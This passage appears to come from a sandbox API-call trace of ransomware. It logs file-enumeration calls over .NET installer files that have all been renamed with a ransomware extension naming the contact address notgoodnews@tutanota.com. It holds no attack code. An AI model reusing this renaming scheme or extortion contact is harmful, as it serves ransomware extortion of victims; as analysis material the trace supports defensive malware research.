ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c3218a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c3218a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c3218a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PRINTI~1.NEW")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c584d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~1.NEW")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a15cb3f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~2.NEW")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c7e619, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c7e619, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~3.NEW")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ccaa9f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ccaa9f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ccaa9f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~4.NEW")) returned 1 [0157.732] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a2da735, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROC56F~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39daf888, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39daf888, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dfbea6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO1411~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e221c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e221c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e221c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO62C2~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e94783, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO2111~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e48251, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e48251, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SAVEIC~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e6e6a1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPI~1.NEW")) returned 1 [0157.733] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a457c67, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STOPIC~1.NEW")) returned 1 [0157.734] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~1.NEW")) returned 1 [0157.734] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39eba991, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39eba991, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~2.NEW")) returned 1 [0157.734] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 1 [0157.734] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 0 [0157.734] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.735] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.735] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d3d21a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d3d21a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="HEADER~1.NEW")) returned 1 [0157.735] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3e44d3c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~1.NEW")) returned 1 [0157.736] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3bd79157, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~2.NEW")) returned 1 [0157.775] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a2da735, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a2da735, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b0dcfc7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~3.NEW")) returned 1 [0157.775] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3ef8aec4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~4.NEW")) returned 1 [0157.775] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3b8641f8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3b8641f8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b8b075d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NE67EB~1.NEW")) returned 1 [0157.775] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bd79157, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bd79157, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c31ec42, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NEF737~1.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d91719, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d91719, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dd5c3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bdc180a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bdc180a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3bdc180a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~1.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c3456c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c3456c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d41b700, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~2.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c36cc26, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c36cc26, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c36cc26, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~1.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c394655, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c394655, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d49547b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~2.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3d41b700, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3d41b700, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d4418ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~2.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f06df4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f06df4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f06df4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~1.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da516c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da516c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da516c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~3.NEW")) returned 1 [0157.776] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f2d17a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f2d17a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f2d17a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SPLASH~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da782a8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da782a8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da782a8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SQMAPI~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a53cc14, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a53cc14, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a53cc14, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STRING~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f53441, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f53441, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f7a751, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f7a751, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f7a751, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f9f7e1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WATERM~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3f30de6b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~1.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~2.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3fd2fbc8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~3.NEW")) returned 1 [0157.777] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 1 [0157.778] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 0 [0157.778] FindClose (in: hFindFile=0x484198 | out: hFindFile=0x484198) returned 1 [0157.778] HeapFree (in: 